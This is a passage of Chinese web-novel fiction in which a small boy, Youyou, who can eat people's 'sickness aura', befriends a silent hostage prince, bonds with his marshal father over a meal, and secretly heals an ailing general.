又又迈着小短腿,径直跑到了银发少年的身边。 越是靠近,那股香气就越浓郁。 又又下意识咽了咽口水。 不过现在的他,已经不是刚到埃米尔星区时,那个懵懂无知,全凭本能做事的小幼崽了。 比如,他已经知道了,不能看见好吃的就扑上去,这是很不礼貌的! 于是,他努力压下心里那股蠢蠢欲动的渴望,轻轻地扯了扯对方的衣角。 希尔的反应慢了半拍,那双剔透的紫眸缓缓地垂下,看向身侧。 映入眼帘的,是一个栗发绿眸的小幼崽,那双绿宝石般的眸子,正一眨不眨地看着他。 见他看过俩,立刻扬起一个毫无阴霾的灿烂的笑容,声音又甜又糯:“哥哥,你好呀!” 然而,希尔精致漂亮的脸上却没有丝毫波动。 既没有被打扰的不悦,也没有被又又的笑容打动,只有一片空洞的平静。 他只是淡淡地瞥了一眼,便又漠然地收回了目光。 对眼前的小幼崽丝毫不感兴趣。 可又又完全感受不到尴尬,反而因为对方刚刚那一眼的回应,越发振奋。 他又往前凑了凑,趴在椅子的扶手上,继续甜甜地说道:“我叫又又,你叫什么名字呀?” 希尔感觉到小幼崽灼灼的目光,满是好奇与执着,仿佛没有得到答案决不罢休。 和回廊里的喧闹不同,这里格外安静。 只有风声轻轻擦过树叶,连时间都仿佛变得慢了一些。 又又睁得眼睛都有点酸了,也没有等到希尔的回答。 就在他想着,是不是要再问一遍的时候。 一个空灵又清冷的声音响起。 “希尔。” 这个声音几乎没有起伏,却让小幼崽的眼睛更亮了。 “原来你叫希尔!”得到回应的小幼崽得寸进尺,立刻“噌噌噌”地爬到对方旁边坐下。 一股清新的草木香气袭来。 希尔不禁愣了愣。 他一向讨厌跟人触碰,讨厌噪音。 可不知道为什么,他竟然并不讨厌眼前这个聒噪的小幼崽,甚至在小幼崽挨过来的时候,他竟然都没有避开。 而又又,此时已经完全被希尔身上的病气给吸引了。 之前他就注意到了,希尔身上的病气颜色浓郁。 可坐到近处,他才意识到,这颜色浓郁到近乎发紫。 正常情况下,被这样深重的病气包裹,人早就应该虚弱不堪,甚至病到起不来了。 然而,希尔除了脸色比旁人苍白一点,身体瘦弱一点,看起来却是很正常的样子。 又又脑中闪过了一丝疑惑,但很快就被希尔身上那诱人的病气给吸引了。 他小心翼翼地勾了一缕病气,“啊呜”一口吞了下去。 瞬间,丝滑又浓郁的香甜感觉席卷了他整个味觉。 这也太太太太好吃了吧!!! 而几乎是同时,一直静静坐着的希尔,睫毛微微一颤。 一种久违的轻松掠过他的心头。 他体内那些翻涌的痛苦,似乎都停顿了一瞬。 像是在漫长的窒息中,获得了一秒的喘息。 然后,他听见一个清甜的声音,像是穿透了他脑中无休止的噪音,轻声问道:“希尔哥哥,你是不是不舒服呀?” 又是许久的沉默。 希尔的目光落在身旁的小幼崽身上,他的绿眸无比澄澈,耐心地等待着回答。 他启唇:“还好。” 又又却是恍然大悟。 他明白了! 希尔哥哥不是不理他,他只是反应慢了一点。 那就好。 又又可以等他回答的。 于是,两人之间就形成了这样一种奇特的交流节奏。 又又问了一个问题,然后就乖乖地等着,直到希尔用他那几乎没有起伏的语调,简短地回答几个字。 又又这才回接着问下一个问题。 一个问得兴致勃勃,全然不觉得是敷衍。 一个答得简略缓慢,却也不把这当成是打扰。 等卢西恩从洗手间出来后,看到的就是这样一副奇妙的景象。 又又紧挨着那位帝国质子坐着,小脑袋几乎靠在对方的胳膊上,绿眸亮晶晶的,嘀嘀咕咕地不知道在说什么。 而那位向来冷漠寡言,难以接近的帝国七皇子希尔·阿多尼斯,竟也没有反感,只是静静地坐在那里,偶尔还会缓慢地侧过头,嘴唇微动,似乎在回答小幼崽的问题。 卢西恩差点把下巴都惊掉。 怎么回事?! 又又怎么会跑到帝国质子身边了! 两人关系竟然还这么和谐! 不过,他看了眼希尔那张漂亮得毫无瑕疵的脸蛋,忽然懂了。 谁说小孩子不懂审美! 小幼崽也喜欢长得好看的人啊! 当然,更令他震惊的是。 希尔竟然回应了又又!! 希尔作为联邦与帝国之间维系和平的吉祥物,卢西恩因为工作关系,也没少跟他打交道。 这位帝国的七皇子殿下,与其说是性格冷漠,倒不如说是没有性格的精致人偶。 他大多数时间都是待在自己的居所,很少外出,对自身质子的处境仿佛全然不在意。 平时里无论谁跟他说话,他都基本没有反应,除非在必要的社交场合,才会勉强给出一两个字的反应,随后又会很快陷入自己的世界,神游天外。 而此刻,他却对又又算得上有问必答。 哪怕反应是慢了点,那也是确确实实给了回应的。 他迟疑地走上前:“又又?” 随后又转向希尔,行了个标准的礼节:“希尔阁下。” 希尔那双漂亮的紫眸,淡然掠过他,没有任何回应。 跟往常完全没有区别。 这才是卢西恩熟悉的那位质子殿下,刚刚跟又又聊天的希尔,简直像是在做梦一样。 就在这时,又又忽然毫无预兆地“嗝”了一声。 他下意识捂住嘴巴,又摸了摸肚子。 怎么回事? 明明在看见病气之后,他的食量就大了很多,很久很久没有吃到撑的感觉了。 可刚刚,他只吃了希尔身上那么一小口病气,怎么就饱了呢? “又又?”卢西恩敏锐地捕捉到了这个声音,顿时警觉起来,“你刚刚偷吃零食了?” 在他带又又出来的时候,江从谦和江昭晏可是千叮咛万嘱咐,让他不许随便给又又吃零食。 卢西恩拍着胸脯保证的。 作为资深的养生达人,他怎么可能给小幼崽吃这些不健康的东西! 可他没想到,自己只是去上了个洗手间,小幼崽竟然偷吃了零食,还把自己吃到打饱嗝?! 又又立刻大声否认:“我没有吃零食!” 见卢西恩不相信,他想也不想就拉过希尔,“希尔哥哥可以帮我作证!” 卢西恩:“……” 虽然今天的质子殿下对小幼崽态度特别,但他可不认为,希尔会掺和这种事情。 谁知,下一秒,他就听见希尔空灵清冷的声音说道:“他没有。” 卢西恩:“!!!” 他不可置信地看着希尔。 他竟然帮又又作证了! 这真的是那位殿下吗?! 不会是用他的脸做出来的仿生人吧? 而有了希尔的证词,又又顿时底气十足,叉着腰道:“哼!卢西恩叔叔你现在相信了吧!又又可是很乖的!” 卢西恩花了好几秒才消化掉这个震惊的发现,喃喃道:“我信……” 小幼崽却还没有原谅他,继续气呼呼道:“你污蔑了我,你要跟我道歉才行!” 此刻卢西恩也已经回过神了。 其实就算没有希尔的证明,他也意识到是自己冤枉小幼崽了。 小幼崽根本就没带零食出来,近卫们也不可能擅离职守去帮他买零食。 总不能是……希尔给他买的吧。 卢西恩立刻挥掉脑海中这个离谱的想法,诚恳地跟又又道了歉。 收到了真诚的道歉,又又心里的那点小委屈立刻消散了。 他大度地挥挥手:“没关系啦,我原谅你了!” 卢西恩笑了笑:“又又,时间差不多了,我们该回去了。” 又又却有点依依不舍。 他看向身旁的希尔,身上浓郁的病气还在朝他散发着诱人的气息。 唉,怎么就吃不下了呢! 小幼崽心里很不甘心,于是拉了拉希尔的袖子:“希尔哥哥,我可以加你的通讯号吗?” 希尔停顿了好一会,才缓慢地说道:“我……没有。” “没有通讯号吗?”又又眨了眨眼睛,似乎有点疑惑,他记得哥哥说过,现在大家都有通讯号的。 不过他并没有觉得这是希尔的拒绝,而是很忧虑地问道,“那我以后想见你,要怎么办呢?” 希尔那双空茫平静的紫眸中,似乎出现了一丝波动。 他的目光落在小幼崽脸上。 软乎乎的小脸上满是担忧和真诚。 这让他那颗沉寂已久的心脏,似乎被轻轻触动了一下。 他下意识开口:“这里。” 又又立刻睁大眼睛:“你是说,你每天都会在这里等我吗?” 他等了好一会,才看到希尔微不可查地点了一下头:“嗯。” “太好了!”又又高兴地拉着他的袖子摇了摇,“那我们就说定啦!以后我就这个时候来找你!” 一旁的卢西恩看得目瞪口呆。 等等! 这是怎么交流啊! 他一个拥有推演异能的人,都推演不出这两人对话的逻辑啊! 又又心满意足地跳下椅子,朝他挥了挥手:“那就这样说定啦!希尔哥哥,我们下次见!” 希尔没有动,也没有回应那声告别。 他依旧保持着原来的姿势,然而那双紫眸,却并未如往常那般陷入空茫之中。 他的视线追随着小幼崽蹦蹦跳跳的身影,直到那身影完全看不见了。 回廊内,光线变化,仿佛引动了星河流转。 不知过了多久,希尔才收回目光。 睫毛微微颤动,紫眸中似乎闪过一丝亮光。 “……又又。”- 卢西恩带着又又离开星穹回廊后,却并没有直接返回江从谦的宅邸,而是不动声色地拐了个弯,朝着军部食堂而去。 他算好了时间,果然,刚刚走进食堂入口,就恰巧遇见了同时抵达的江元帅。 卢西恩的脸上立刻浮现出恰到好处的惊喜:“哎呀!真是好巧啊!” 说着,便低下头,对又又说道,“又又,你也很久没有见过爸爸了吧,既然遇到了,要不然我们一起吃饭吧!” 要是江从谦他们在这里,肯定马上就能识破卢西恩的计谋。 但小幼崽心思单纯,哪里懂成年人这些弯弯绕绕。 他只觉得,既然遇到了认识的人,一起吃饭很正常,而且,经过之前的种种,他也并不是很讨厌这个爸爸。 于是,他很干脆地点点头:“好呀!” 江砺看着近在咫尺的幼子,却是有些受宠若惊,心头一片酸软。 他当然知道,这是卢西恩特意给他创造的机会。 只是他原本担心,又又并不愿意和他一起吃饭的。 他定了定神,伸出手,几乎有些小心翼翼地问道:“又又,爸爸可以牵着你吗?” 又又看着眼前那只布满茧子的大手,在江砺有些紧张的注视下,把自己的小手搭了上去。 “可以呀!” 在小幼崽的认知里,他已经跟这个爸爸见了好几次了,他还送了自己礼物,已经是熟人了。 江砺却不知道他心里在想什么。 他有些僵硬地笼着手掌,掌心里的小手软得像是一团奶冻。 仿佛力气稍微大一点,就能捏碎掉。 到了早就准备好的包厢。 刚刚坐下来,卢西恩就很有眼见力地找了个借口离开,把空间留给他们父子俩。 他一走,室内很快就安静了下来。 又又坐在餐桌前,正在跟一颗鱼丸奋斗。 只不过他使用筷子的技巧还不够熟练,夹了好几次都没能成功。 江砺见状,下意识地给又又夹了一颗。 然后…… 小幼崽继续在自己的碗里跟鱼丸搏斗。 江砺这才后知后觉想起什么,带着歉意道:“是爸爸忘了,我给你拿个勺子。” 又又接过勺子,抬起头,礼貌地冲他笑了笑:“谢谢爸爸。” 江砺心里却有些酸涩,声音低低的:“又又,跟爸爸不用这么客气的……” 又又疑惑地眨着眼睛,认认真真地解释道:“爸爸,说谢谢,是礼貌呀!哥哥说,有礼貌才是好孩子!” 江砺心底无声叹息。 他当然知道,又又很乖,也被他的哥哥姐姐们教育得很好。 可是,又又从来不在哥哥姐姐面前这样礼貌,甚至对卢西恩都是亲昵胜过礼貌。 终归是他在又又的心里,还不够亲近罢了。 只是这并不是又又的问题。 而是他没有尽到父亲的责任。 他心中钝痛,可是面对又又,面上却没有显露分毫,只是顺着他的话,努力扯出一个温和的笑容:“对,我们又又是个很有礼貌的好孩子!” 得到夸奖,小幼崽立刻开心地眯起眼睛:“嘿嘿~” 看到小幼崽因为一句简单的夸奖,就眉眼弯弯的样子,江砺心中微松,包厢里原本生疏的气氛,瞬间变得松快了许多。 他正打算再接再厉,寻找新的话题,试图让这段温暖的时光延长一些。 忽然,他的通讯器响了起来。 他看到上面的通讯标识,神情瞬间变得冷冽。 他只来得及给了又又一个歉意的眼神,便迅速起身走到包厢角落,接通了通讯。 他的表情瞬间便从柔和的父亲,变回了那个杀伐果断的联邦元帅,快速而冷静地处理着突发的状况。 当他结束通讯,已经是二十分钟后了。 桌上的饭菜都有些凉了。 江砺看着对面安静坐着的又又,心头涌上浓重的歉意:“又又,你吃饱了吗?菜都凉了……要不爸爸让人给你再重新上一些菜?” “不用啦!我已经吃饱了!” 又又立刻摇头,眼珠却悄悄转了转,闪过一丝不易察觉的狡黠。 以往和哥哥姐姐吃饭的时候,他们总是会盯着他不许挑食,还总让他吃那些不喜欢吃的蔬菜。 可今天和爸爸吃饭,爸爸一直在忙,根本没有注意到,他把胡萝卜和西蓝花都拨到了一边,一口都没吃。 生怕爸爸发现罪证,又又连忙说道:“爸爸,你快点吃吧,你还没吃呢!” 江砺心头一热。 他没想到,小幼崽不仅没有生气,反而还这么关心自己。 他连忙拿起筷子:“好,爸爸这就吃。” 又又见状,脑袋里又冒出了一个新的主意。 他用勺子舀起那些自己不爱吃的蔬菜,偷偷摸摸地放进爸爸的碗里。 江砺正吃着饭,忽然发现碗里多了几样菜,愣了一下,抬头看向又又。 又又睁着那双无辜的大眼睛,奶声奶气道:“爸爸,要多吃蔬菜,对身体好!” 江砺虽然觉得有点不对,但儿子给他夹菜的心意,却令他感动得一塌糊涂。 “谢谢又又。”他毫不犹豫地把又又夹给他的菜都吃了下去。 “不客气!”小幼崽也很满意。 罪证都被爸爸吃掉啦! 一会跟哥哥通讯的时候,就不会露馅了! 两人的关系,因为这份误解,仿佛瞬间变得亲近了许多。 江砺忍不住抬手,轻轻地摸了摸又又的栗色卷发。 小幼崽的头发也是软软的。 江砺的心脏也跟着软了下来,柔声问道:“又又,今天玩得开心吗?” 又又眨巴眼睛,用力点头:“开心呀!” 他今天遇到了希尔哥哥,美美地吃了一顿。 中午还没有吃蔬菜,简直就是完美的一天。 小幼崽的笑容简直就是最治愈的药剂。 江砺一想到,很快就要送又又回去,强烈的不舍涌上心头。 可是他还有公务要处理,根本没有办法陪着孩子。 这时,一个念头在他脑海中闪过。 他犹豫了一下,用商量的语气问道:“又又,下午……你愿意陪爸爸去见几位老朋友吗?” 江砺口中的老朋友,就是第四军团和第六军团的军团长,以及几位老将。 他们中,有的是他一手提拔起来的心腹,有的是当初并肩作战,如今依然坚定支持他的战友。 可以说是他非常信任的人了。 虽说也算是公务,但江砺也有一点私心,想要在这些老友们面前,暗暗展示一下自己失而复得的宝贝。 等他带着又又来到见面的地方时,还没进门,便已听到里面传出中气十足的谈笑声与偶尔拍桌的豪爽动静,显得很是热闹。 随着近卫推开门,里面的声音骤然一静。 房间里或坐或站的几个男人,都身着军装,目光在触及江砺的瞬间,本能地并拢腿脚,挺直脊背,齐声道。 “元帅!” 这整齐划一,还带着几分铁血的问候,让又又睁大了眼睛,小手下意识抓紧了父亲的衣服。 不过他们在看到被江砺抱在怀里的小幼崽后,显然更加震惊。 “我滴乖乖!”一个满脸胡须的壮汉瞪大眼睛,嗓门极大,“这小孩长得真俊!谁家的啊!” 他身后一名容貌儒雅的男人,毫不犹豫给他一脚:“还能是谁家的!肯定是元帅家的啊!” “啊……”壮汉挠挠头,“我记得元帅家的娃年纪都不小了……嗷,你干嘛又踢我!” 儒雅男人懒得理他,直接面向江砺,微笑道:“恭喜元帅了。” 江砺面对这些老友时,笑容也多了几分真实的温度,他温声对又又说道:“又又,这就是爸爸的老朋友了,别怕。” 随后,才又给他介绍那名儒雅男人:“这是你魏凭魏叔叔,是第四军团的军团长!” 又又睁大眼睛:“和加加军团长一样吗?” 魏凭笑了笑,声音温润:“又又说的是加尔文军团长吧!对,我们都是军团长,不过,他是第七军团的,我是第四军团的,又又要是喜欢,以后也欢迎你来我们第四军团玩!” 江砺又给又又介绍那名壮汉:“这是你库尔特叔叔,从前是爸爸的战友,现在是第四军团的上将。” 库尔特面对小幼崽,努力挤出一个不那么吓人的笑容:“原来你叫又又,这个名字真可爱!” 随即又小声跟江砺抱怨,“元帅,你怎么不早说带又又过来,我都没准备见面礼……” 江砺还没说话,魏凭却幽幽道:“那还是算了,我怕你的礼物把人给吓到了。” 现场顿时哄笑起来。 江砺也忍不住笑了笑,却忽然愣了一下:“老裴还没来吗?” 魏凭皱了皱眉头,似乎想说什么。 这时,房门却再次被打开,一名身量极高,神情内敛的男人走了进来。 “抱歉,我来晚了。” 库尔特走上前,直接给了他一拳:“老裴,怎么来这么晚啊?” 裴煌笑了笑,避重就轻:“有点事耽搁了。” 从裴煌一进门,又又就下意识皱起了眉头。 他想说什么,可是想起哥哥的告诫,又闭上了嘴。 他拉了拉江砺的衣服,示意他到一边,才压低声音说道:“爸爸,刚刚进来的叔叔,好像生病了……” 第57章 听到又又的话,江砺顿时神色一凛,抱着他的手臂蓦然收紧。 但他很快就平静下来,摸了摸又又的头发,低声安抚道:“爸爸知道了,又又做得很好,剩下的事情交给爸爸来处理就好。” 他的神情平静,与平常看起来似乎并没有什么区别。 然而,又又却从他骤然低沉的气息中,感知到了他潜藏其下的悲伤。 他们都是爸爸的老朋友啊。 小幼崽想了想,如果是洛恩,艾拉,甚至卢西恩叔叔得了病,他也会很难过的。 于是,他又趴在江砺耳边,小声补充道:“爸爸,你别难过,我可以救他的。” 虽然这个叔叔的病有点重,但在又又眼中,也就是一块小蛋糕啦! 然而这句话听在江砺耳中,却是让他心头猛地揪住,随即涌上更复杂的情绪。 但他什么都没说,只是将又又往怀里拢了拢。 等他抱着又又回到众人中间时,脸上已经看不出丝毫异样。 此时,裴煌已经从库尔特那里得知了又又的身份。 他冷峻的神情柔和了许多,对江砺低声道:“恭喜。” 他平日里就沉默寡言,不太会说话,却是真心实意为老友感到高兴。 他微微低头,就看到了好奇打量他的小幼崽:“叔叔,你长得好高呀!” 这位战场上的铁血将领,神情瞬间就变得有些无措,完全不知道该如何和这样柔软的小幼崽相处。 库尔特见状,毫不客气地大声嘲笑:“哈哈哈哈哈,老裴你这怂样!等你以后结婚了有自己的娃了,我看你怎么办!” 谁知,裴煌却摇了摇头,声音平淡道:“我不结婚,我这一生,心血都在战场上,就算结婚也是耽误人家……” 眼看库尔特还想问,魏凭一把将他拖过去:“行了,老裴结不结婚跟你有什么关系,去把我带的酒拿过来。” 众人谈天说地,气氛很是融洽。 眼看着时间差不多了,魏凭等人便起身告辞。 这时,江砺却忽然开口:“老裴,你稍等一下,我还有点事要单独跟你说。” 裴煌脚步一顿,似乎有些诧异,但他很快便点点头:“好。” 站在一旁的魏凭蹙了一下眉头,目光在江砺与裴煌之间快速扫过。 然而两人的神情都看不出什么问题,最终,他也只是深深地看了眼裴煌,什么也没说,转身和其他人离开了房间。 等到他们都离开后,房间骤然安静下来。 江砺却并没有立刻说话,他抱着又又,握着他的手,一言不发,似是在平复自己的情绪。 裴煌不知道为什么,竟感觉到了一丝不安。 “老裴。”江砺忽然开口,目光有如实质般落在裴煌脸上,“这里没有别人,你跟我说实话……” “你的身体,到底出了什么问题?” 裴煌一惊。 他没想到自己苦心隐瞒的事情,竟然被元帅看了出来! 他嘴唇动了动,下意识道:“我没有……” 然而,话还没说完,就听见江砺寒声道:“裴煌!你如果还当我是战友,是朋友,就不要骗我!” 裴煌顿住了。 所有准备好的说辞都堵在了喉咙里。 面对着江砺愤怒却隐含着关切的神情。 最终,他颓然地闭了闭眼,缓缓开口道:“……是静汐症。” 这是异能引发的一种特殊病症。 病人的生命体征,尤其是呼吸与心跳,会随着病情加重而无限趋近于停滞。 外表上看不出任何问题,但内里却无可逆转地衰亡,直到某天在睡梦中,再也无法醒过来。 江砺呼吸一窒:“你……你怎么不早说!多久了?” 裴煌下意识避开他的目光,迟疑了片刻,才道:“……已经一年了。” 一年! 江砺猛然回想起来,过去的一年里,裴煌的战术风格忽然变得激进了许多,还提交了好几次风险极高的作战计划。 当时战局焦灼,提出类似计划的并不只有裴煌,他便只以为是裴煌求胜心切,没有多想。 “所以!”江砺厉声道,“之前和圣律帝国的那场战役里,你才会事事身先士卒,甚至亲自带人突入敌阵中心?!” 那场战役虽然最后胜利了,但裴煌也因此受了重伤,在医疗舱里躺了小半年。 江砺当时就想过要和他谈一谈,但是联邦作为战胜者,他手中的事务千头万绪,便一直拖到了今天。 他也才知道真相。 他忍不住道:“裴煌,你知不知道,这样会有什么后果!你现在这样是会上军事法庭的!” 既然已经被江砺发现了,裴煌也就不再隐瞒,他咬牙道:“我知道,所有的后果我都知道,元帅,我不会让你为难的,只要我……” “你闭嘴!”江砺愤怒地低吼,“我以为我在意的是这个?!” 裴煌嘴唇动了动,声音低沉却执拗:“元帅,我这一生大半的时间都在战场上,我是个军人,马革裹尸才是我的宿命,我宁愿死在战场上,也不想在病床上苟延残喘……” “你……”江砺指着他,胸口剧烈起伏,却一时说不出话来。 他理解裴煌的骄傲,但正因为理解,才更加痛心疾首。 就在这时,一个稚嫩的声音插|入了两人之中:“爸爸,裴叔叔,你们不要吵架呀!” 小幼崽抬起手,拦在了两人中间。 他看了看满面怒容的爸爸,又看了眼神情灰败却倔强的裴叔叔,实在是有些不理解:“这种小事可以好好沟通的呀,只要把裴叔叔治好就可以了嘛!” 裴煌此时已经冷静了下来。 听了又又的话,他有些哭笑不得。 只以为是孩子不想看他们吵架,说出的童言稚语。 他正想说几句话安慰一下孩子,却听见江砺冷声道:“连又又知道,遇到问题要想办法沟通解决,亏你活了大半辈子,还不如一个孩子!” 裴煌:“……” 他觉得,元帅大概是被他气疯了,都说出这种荒谬的话来了。 静汐症,这是可以靠沟通解决的问题吗?! 但下一秒,一只柔软的小手轻轻地贴在了他的身上。 瞬间,原本缓慢沉重的心跳,仿佛被注入了温热的暖流,搏动的节奏竟然真的在一点点加快,渐渐恢复到了健康有力的频率。 而原本,让他时不时感受到的窒息感,竟也在缓缓地消散。 裴煌完全呆住了。 怎……怎么会?! 难道……又又这是在,治疗他吗?! 超出理解范围的震撼,令裴煌僵在原地,许久都没有反应过来。 又又并没有吃太多,只是挑着颜色最深的几条病气吃完,就已经饱了。 但仅仅只是这样几口,带来的变化对裴煌而言,也已经是天翻地覆,近乎神迹。 裴煌本来就不善言辞。 此刻脑中一片空白,更是张口结舌,一个字都说不出来。 过了许久,他才从干涩的喉咙里,憋出一句话:“谢……谢谢你,又又!” 其实他想说的还有很多,却又觉得言语根本无法表达他的感激。 然而,又又却只是随意地摆了摆手:“不用谢。” 小幼崽浑然不知自己做了多么惊人的事情,歪着头想了想,又仰着脸看向裴煌。 “裴叔叔,等你的病好了之后,就不要再说死那样的话了,好不好?” 小幼崽有点不好意思,小声道,“你说那些话的时候,爸爸他……很难过的。” 裴煌鼻尖发酸,却是用力地点点头:“好,我再也不说了!” 而在他们之后,江砺下意识握紧拳头。 他感觉到喉头像是被什么温热的东西堵住了,吞咽了一下,才勉强压下那股直冲眼眶的酸涩- 等裴煌走后不久,江砺便亲自送又又回江从谦的宅邸。 悬浮车缓缓降落,江砺抱着又又下车。 大门缓缓打开,可令他有些意外的是,来迎接的人,竟不是莫管家,而是江从谦本人。 “大哥!”又又看到哥哥,眼睛顿时一亮,立刻就抛下了爸爸,朝着哥哥扑过去,“又又好想你!” 江从谦熟练地托着小幼崽的屁股,嗤笑一声:“想我?那还玩得这么晚才回来?” “嘿嘿。”小幼崽挠挠头,立刻眨巴着大眼睛,露出一个无辜又讨好的笑容,试图萌混过关。 江从谦自然看出他这点小伎俩,戳了戳他的脸颊:“小滑头!” 一旁的江砺看着又又毫不犹豫地抛弃他,转身就投入大哥怀里,心里浮起一丝失落。 但听到江从谦的话,还是忍不住开口替又又辩解:“不怪又又,是我把他多留了一会。” 江从谦这才将目光移到他身上,淡淡道:“我猜也是,又又向来乖巧,如果回来晚了,肯定会提前跟我们说的。” 江砺:“……” 他被长子这软中带硬的话噎了一下,一时不知道该如何接话。 倒是又又忽然想起了什么,着急道:“大哥!今晚有蛋壳小鸡的最新动画,快到时间了!” 父子俩之间微妙的气氛,被小幼崽这番话打了个七零八落。 江从谦知道,要是小幼崽没有第一时间看到最新的动画,今晚估计都睡不好。 于是他没有再继续说下去,而是抱着又又往里面走:“好,哥哥带你去看。” 只是走了两步,他侧过头,对仍站在门口的江砺说道:“父亲,如果您接下来有空,我有些事需要跟您商议。” 江砺一怔,没想到江从谦竟然会主动和他商议事情。 他脑中迅速闪过一些事件,面上却是毫不犹豫道:“我有空。” 江从谦微微颔首。 但他还是先把又又送到客厅,吩咐了莫管家几句,这才和江砺一同来到书房。 江从谦并没有绕圈子,直接切入正题:“从蒂奢星区回来之后,我这边一直有些不寻常的动静,有人在用各种方式,有意无意地打探我的行踪和近况。我怀疑,这跟YHC-03毒素的幕后黑手有关。” 江砺神情顿时一厉:“有危险吗?!” “目前还好。”江从谦语气冷静,继续分析道,“我推测他们是发现了,我们这边有解除YHC-03毒素的办法,而且他们似乎在怀疑我,只是他们应该也不是很确认,所以目前都是以试探为主。” 江砺顿时就明白了长子的未尽之言,眉头紧紧皱起:“你是担心……他们也会试探又又?” “没错。”江从谦轻轻敲了敲桌面,“目前看来,又又身边还算安全,但就算只有万分之一的苗头,也不能冒险,所以我想……” 他顿了顿,语气平稳却掷地有声,“不如我们主动一点,设法将他们的怀疑,更多地引导我身上来,我在明处,行事反而更方便掌控,也能更好地保护又又。” “不行!这太危险了!”江砺几乎立刻便否决道,“对方隐藏极深,如今还不能确定究竟是什么人,我已经加派人手在暗中调查,你不必以身犯险!” “您那样调查,效率太低了。”江从谦淡淡道,“而且,被动防御永远不如主动出击,我有分寸,今天跟您说这些,也并非在征求您的意见,只是让您心里有个底,后续有些事,可能需要您的人配合我一下。” 江砺看着长子冷静漠然的脸,心里暗暗地叹息一声。 他知道,江从谦性子固执,一旦他决定了的事情,几乎没有转圜的余地。 就算他反对,也没有任何用处,反而会让事情更加不可控。 而且,江从谦选择告诉他,某种程度来说,已经算是难得的信任了。 “我知道了……”江砺的声音有些沙哑,“你需要我怎么配合?”- 又又看完蛋壳小鸡的最新动画之后,实在是太过兴奋。 被姐姐拎去睡觉的时候,脑子里还都是动画的内容,翻来覆去好久才睡着。 于是,第二天果不其然就起晚了。 等他打着哈欠出来的时候,三哥已经被二姐拖去做复健了。 “啊啊啊——” 一声惨叫传来,把又又最后那点瞌睡都给吓跑了。 小幼崽同情地看了眼训练室的方向,就毫不犹豫地走到餐厅。 可出乎他意料的是,今天大哥竟然还在家。 又又没忍住眨了眨眼睛:“大哥,你今天没去上班吗?” 江从谦淡定地喝完最后一口咖啡:“嗯,一会我要去一趟军部,处理点事情。” 军部! 又又瞪大了眼睛。 那不是爸爸的地盘吗? 可大哥跟爸爸的关系,唔……好像也没有他以为的那么差嘛! 江从谦瞥了眼小幼崽,不知道他那小脑瓜里又在想什么,不过他也没有解释。 今天他去军部,正是他和父亲计划的一环。 这些就不必让又又知道了。 又又却忽然想到,他昨天跟希尔哥哥约好了,要在星穹回廊见面呢! 于是,小幼崽立刻扒着餐桌边沿,眼巴巴地看着江从谦:“大哥,你去军部的话,能不能带我一起呀?” “你要跟我去军部?”江从谦微微蹙眉。 又又连连点头。 在江从谦的计划里,原本是没有这一项的。 不过他忽然想起,昨天父亲私下告诉他,又又给裴煌军团长治疗的事情。 与其以后又又单独去军部,惹人注意。 倒不如跟着他一起,更能模糊视线。 于是,他很快便同意了:“好,快吃早餐,等你吃完,我们就出发。” “好耶!”又又欢呼一声,连忙抓起桌上的面包就往嘴里塞。 江从谦无奈道:“慢点。” 小幼崽“唔唔唔”地点头,动作可一点都没慢。 他今天本来就起晚了,要是去太晚,希尔哥哥走了怎么办? 在小幼崽的催促之下,悬浮车用最快的速度到达了军部。 早已等候在此的卢西恩快步迎了上来,从江从谦手里接过又又。 又又乖乖地在卢西恩怀里,和哥哥挥手:“大哥再见!” 直到哥哥的身影消失,小幼崽才收回目光:“卢西恩叔叔,我们走吧!” 卢西恩牵着又又,正准备往裴煌军团长那边去,却见又又走向了完全相反的方向。 卢西恩愣了一下:“又又,你走错了……” “没有错啦!”小幼崽十分坚持,拉着卢西恩就往星穹回廊的方向走去。 今天在星穹回廊的人并不算太多。 因而又又一眼就看到了,坐在回廊尽头的希尔。 他穿着一件白色长袍,衣领露出一截纤细漂亮的脖颈,肤色莹润白皙,银发如同流泻的月光般,铺在他的肩背上,纤长的银色睫毛微微低垂,遮住了那双紫罗兰一般的眸子。 光影垂落,宛如一幅静谧而优美的画。 但下一秒,这份意境就被一声甜糯的呼唤给打破了。 “希尔哥哥!” 小幼崽松开了卢西恩的手,哒哒哒地朝他跑过去。 希尔空寂的眼神,因为这声呼唤,竟泛起一丝极浅淡的涟漪。 他慢了半拍,才缓缓地转向了又又的方向。 淡色的唇微启:“又又。” 卢西恩:“!!!” 等等! 原来昨天是真的约好了吗?! 又又吸了吸鼻子。 虽然只过了一天,但他真的很想念希尔哥哥身上的味道呢! 只是,他想着一会还要给裴煌叔叔治病。 所以今天吃得很克制,解了馋就停下了。 希尔一直微微垂着眸子,目光安静地落在小幼崽毛茸茸的发顶。 他能感觉到,小幼崽很喜欢靠近他,有时候还会不自觉地对他咽口水。 可即便这样,他也不觉得讨厌。 甚至,当小幼崽挨着他坐下时,他还会感受到一种久违的舒适。 虽然很短暂,却令他不由自主地贪恋。 这时,又又想到了什么,从自己的口袋里掏出一个小绿的玩偶,递给希尔。 他眼睛亮晶晶的,献宝一般地说道:“希尔哥哥,这是我最喜欢的蛋壳小鸡,它叫小绿,送给你啦!” 希尔看着掌心那只看起来笨笨的小鸡,顿了顿,才缓缓开口:“你喜欢……鸡?” 又又:“诶?” 希尔:“鸡……很弱。” 听到他诋毁自己喜欢的小绿,又又的脸颊顿时鼓起来,像只愤怒的小河豚。 可小河豚一对上希尔那张漂亮的不似真人的脸,闻到他身上的难以抵御的香气后,又“噗”地变了回去。 但他还是很认真地跟希尔解释:“才不弱!小绿很强的!昨天的动画片里……” 希尔安静地听着小幼崽眉飞色舞地说着动画剧情。 又看了眼手中的小鸡玩偶。 ……还是有点无法接受。 正当小幼崽手舞足蹈,模仿小绿的招牌招式时。 一旁的卢西恩看了眼时间,不得不打断了他:“又又,时间快到了,咱们得抓紧了。” “啊……”又又意犹未尽地停下,但还是乖乖点头,转向希尔,“那希尔哥哥,我先走了,我们明天再见咯!” 希尔的目光,从小鸡玩偶移到又又身上,才缓缓开口:“……等你。” 得到了希尔的回答,又又才心满意足地朝他挥挥手,跟着卢西恩一步三回头地走了。 等到离开星穹回廊一段距离后,卢西恩犹豫再三,还是没忍住劝道:“又又,你和希尔殿下,还是保持距离比较好。” “为什么?”又又疑惑地问。 卢西恩顿了顿,解释道:“他是圣律帝国送来的质子……” “质子?圣律帝国?”又又一脸茫然。 卢西恩不得不给他科普:“当初,我们人类进化出了不同的方向,一支进化出了异能,就是我们现在的中央联邦,而另一支,就是圣律帝国,他们进化出了强大的精神体。” 